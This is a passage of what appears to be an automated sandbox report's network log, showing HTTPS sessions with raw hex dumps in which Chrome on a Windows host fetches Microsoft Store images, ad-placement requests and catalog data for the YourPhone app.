4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-26 11:46:36 UTC 1381 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-26 11:46:36 UTC 1397 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.4 49724 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:28 UTC 77 OUT GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2
aa4f3afe248?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:28 UTC 78 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4765
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc"
MS-CV: 0gdTj9M+eE6j3uUJ.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 78 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 
84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 
c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 
84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 
c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 
61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 
Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.2.4 49837 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:36 UTC 1365 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114612Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:36 UTC 1365 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 204d3ba6-7f7d-4084-a1e6-619fdfbeef1d
Date: Thu, 26 May 2022 11:46:35 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 192.168.2.4 49838 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:36 UTC 1401 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114613Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2022-05-26 11:46:36 UTC 1402 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c3457dd2-4435-4b7a-926a-3c65d35a881c
Date: Thu, 26 May 2022 11:46:36 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 192.168.2.4 49839 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:37 UTC 1402 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114613Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:46:37 UTC 1402 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e8d5ef37-c1c3-407d-933e-626cb34b5c05
Date: Thu, 26 May 2022 11:46:37 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 192.168.2.4 49840 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:46:37 UTC 1403 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&mark
et=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: pBohZfRMX02n5gr9.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-26 11:46:37 UTC 1403 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 May 2022 11:46:36 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 204741a2-e524-4e0a-b93e-222064c6baad
MS-RequestId: f0a66b49-d714-41a0-96d6-6f024b51a9dc
MS-CV: pBohZfRMX02n5gr9.0.2.4.1057842212.0.1.1057842212.610408301.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-mrwfr
Region: neu
Node: aks-bigcatrpns-32351330-vmss000009
MS-DocumentVersions: 9NMPJ99VJBWV|3267

2022-05-26 11:46:37 UTC 1403 IN Data Raw: 31 38 31 38 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 35 54 30 36 3a 34 37 3a 31 36 2e 35 38 34 31 30 30 
30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 31 36 33 33 37 38 32 37 36 36 34 
34 34 35 33 37 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22 
Data Ascii: 1818c{"BigIds":["9NMPJ99VJBWV"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-25T0
6:47:16.5841000Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3016337827664445370","EISListingIdentifie
r":null,"BackgroundColor":"#0078D7"
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2022-05-26 11:46:37 UTC 1407 IN Data Raw: 2d 65 35 34 39 2d 34 34 61 36 2d 38 30 37 33 2d 34 31 64 63 64 38 33 65 64 64 62 65 2e 63 30 65 36 64 32 
65 38 2d 32 64 34 30 2d 34 61 37 38 2d 39 31 62 38 2d 35 30 30 35 35 35 38 36 66 34 35 33 22 2c 22 57 69 64 74 68 22 
3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 35 39 38 32 37 37 32 34 38 39 37 38 34 33 37 39 33 22 2c 22 45 
49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 
6f 72 22 3a 22 23 30 30 37 38 44 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 35 36 32 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 
3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 
Data Ascii: -e549-44a6-8073-41dcd83eddbe.c0e6d2e8-2d40-4a78-91b8-50055586f453","Width":66},{"FileId":"30598277
24897843793","EISListingIdentifier":null,"BackgroundColor":"#0078D7","Caption":"","FileSizeInBytes":3562,"Fore
groundColor":"","Height":88,"ImagePositionInfo"

2022-05-26 11:46:37 UTC 1411 IN Data Raw: 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 38 39 35 2c 
22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 
50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 
55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6e 37 68 41 59 52 4b 4b 51 34 5a 31 56 
4f 35 45 74 73 2f 35 2f 55 2f 2b 67 34 62 32 7a 4f 44 5a 65 33 55 4e 66 2b 69 47 59 36 45 3d 22 2c 22 55 72 69 22 3a 22 
2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 
73 2e 34 37 32 36 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 
Data Ascii: "Caption":"","FileSizeInBytes":8895,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":
"Tile","UnscaledImageSHA256Hash":"n7hAYRKKQ4Z1VO5Ets/5/U/+g4b2zODZe3UNf+iGY6E=","Uri":"//store-images.s-
microsoft.com/image/apps.47263.137538915193

2022-05-26 11:46:37 UTC 1415 IN Data Raw: 69 67 68 74 22 3a 32 31 36 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 
74 6f 70 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 
61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 42 5a 6b 4f 6a 6c 77 2b 4b 49 54 52 36 42 6f 45 42 
42 79 6f 63 30 73 63 46 49 56 47 63 36 6e 4f 36 74 44 54 39 73 72 71 6e 4b 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 
6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 
31 37 33 2e 31 33 37 35 33 38 39 31 35 31 39 33 39 37 30 36 37 2e 65 38 61 30 36 64 37 64 2d 66 66 62 32 2d 34 35 34 
32 2d 39 65 66 61 2d 34 36 30 30 36 63 62 39 37 30 36 39 2e 66 
Data Ascii: ight":2160,"ImagePositionInfo":"Desktop/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"
BZkOjlw+KITR6BoEBByoc0scFIVGc6nO6tDT9srqnKY=","Uri":"//store-images.s-microsoft.com/image/apps.39173
.13753891519397067.e8a06d7d-ffb2-4542-9efa-46006cb97069.f

2022-05-26 11:46:37 UTC 1419 IN Data Raw: 49 73 4d 69 63 72 6f 73 6f 66 74 50 72 6f 64 75 63 74 22 3a 74 72 75 65 2c 22 50 72 65 66 65 72 72 65 64 53 
6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 
22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 
66 61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 35 2d 32 35 54 30 36 3a 34 39 3a 32 33 2
e 36 34 35 36 34 36 36 5a 7c 7c 2e 7c 7c 38 37 35 33 34 31 34 66 2d 33 64 35 37 2d 34 33 65 34 2d 62 34 34 36 2d 63 
37 39 39 66 38 30 32 33 63 61 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 38 37 39 32 36 32 7c 7c 4e 75 6c 6c 7c 
7c 66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 
Data Ascii: IsMicrosoftProduct":true,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValida
tion":false,"RevisionId":"2022-05-25T06:49:23.6456466Z||.||8753414f-3d57-43e4-b446-c799f8023caf||1152921505694
879262||Null||fullrelease","Validatio

2022-05-26 11:46:37 UTC 1423 IN Data Raw: 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 
2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 
72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 
31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 
67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 
2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 
72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 
Data Ascii: 478592,"MinVersion":2814750890000384,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"
{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20012.135.70_x86__8wek
yb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.7

2022-05-26 11:46:37 UTC 1427 IN Data Raw: 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 
69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 
61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 
6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 34 31 36 2e 32 30 
32 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 
3a 22 35 30 65 35 32 65 31 35 2d 63 63 61 32 2d 34 38 32 35 2d 33 66 66 33 2d 36 64 66 39 31 62 32 34 66 65 64 34 2d 
58 38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 50 61 
Data Ascii: "AppxBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyN
ameForDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.416.202.0_neutral_~_8wekyb3d8bbwe","Pack
ageId":"50e52e15-cca2-4825-3ff3-6df91b24fed4-X86-X64-Arm-Arm64","Pa

2022-05-26 11:46:37 UTC 1431 IN Data Raw: 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 
73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 
6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 
73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 
22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 5
0 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 
6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 
Data Ascii: rivateNetworkClientServer","remoteSystem","phoneCall","confirmAppClose","phoneLineTransportManagem
ent","phoneCallSystem","targetedContent","runFullTrust","packageManagement","Microsoft.unsignedPackageManageme
nt_8wekyb3d8bbwe","Microsoft.storeFilter.core.n

2022-05-26 11:46:37 UTC 1435 IN Data Raw: 22 3a 22 65 34 62 62 63 36 37 39 2d 65 61 61 31 2d 34 34 30 31 2d 62 36 65 62 2d 61 37 66 37 34 38 63 34 
37 63 61 38 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 
38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 
22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 
6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 
74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 
61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 
Data Ascii: ":"e4bbc679-eaa1-4401-b6eb-a7f748c47ca8","WuCategoryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","Pa
ckageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"
Applications":[{"ApplicationId":"App"}],"Archit

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:37 UTC 1439 IN Data Raw: 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 
65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 
77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 
64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 65 34 
62 62 63 36 37 39 2d 65 61 61 31 2d 34 34 30 31 2d 62 36 65 62 2d 61 37 66 37 34 38 63 34 37 63 61 38 22 2c 22 57 75 
43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 
Data Ascii: d\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","Pac
kageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"e4bbc679-eaa1-4401-b6eb-a7f
748c47ca8","WuCategoryId":"b99aef9a-1

2022-05-26 11:46:37 UTC 1443 IN Data Raw: 34 37 61 30 2d 58 38 36 2d 58 38 36 2d 58 36 34 2d 58 36 34 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 
3a 33 30 30 39 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 
74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 
37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 
78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 
62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 
Data Ascii: 47a0-X86-X86-X64-X64","PackageRank":30092,"PlatformDependencies":[{"MaxTested":281475116
3088896,"MinVersion":2814750970478592,"PlatformName":"Windows.Xbox"}],"PlatformDependencyXmlBlob":"{\"blob.ver
sion\":1688867040526336,\"content.bundledPackages\":[\"Mi

2022-05-26 11:46:37 UTC 1447 IN Data Raw: 34 37 35 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 
31 34 35 36 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 
31 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 74 64 66 
73 5c 22 3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 2c 5c 22 
76 6d 61 78 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 
30 39 37 30 34 37 38 35 39 32 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 30 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 
Data Ascii: 4751013011456,\"vmin\":2814751013011456}]},{\"pfun\":\"Microsoft.YourPhone_1.22032.179.0_x86__8wek
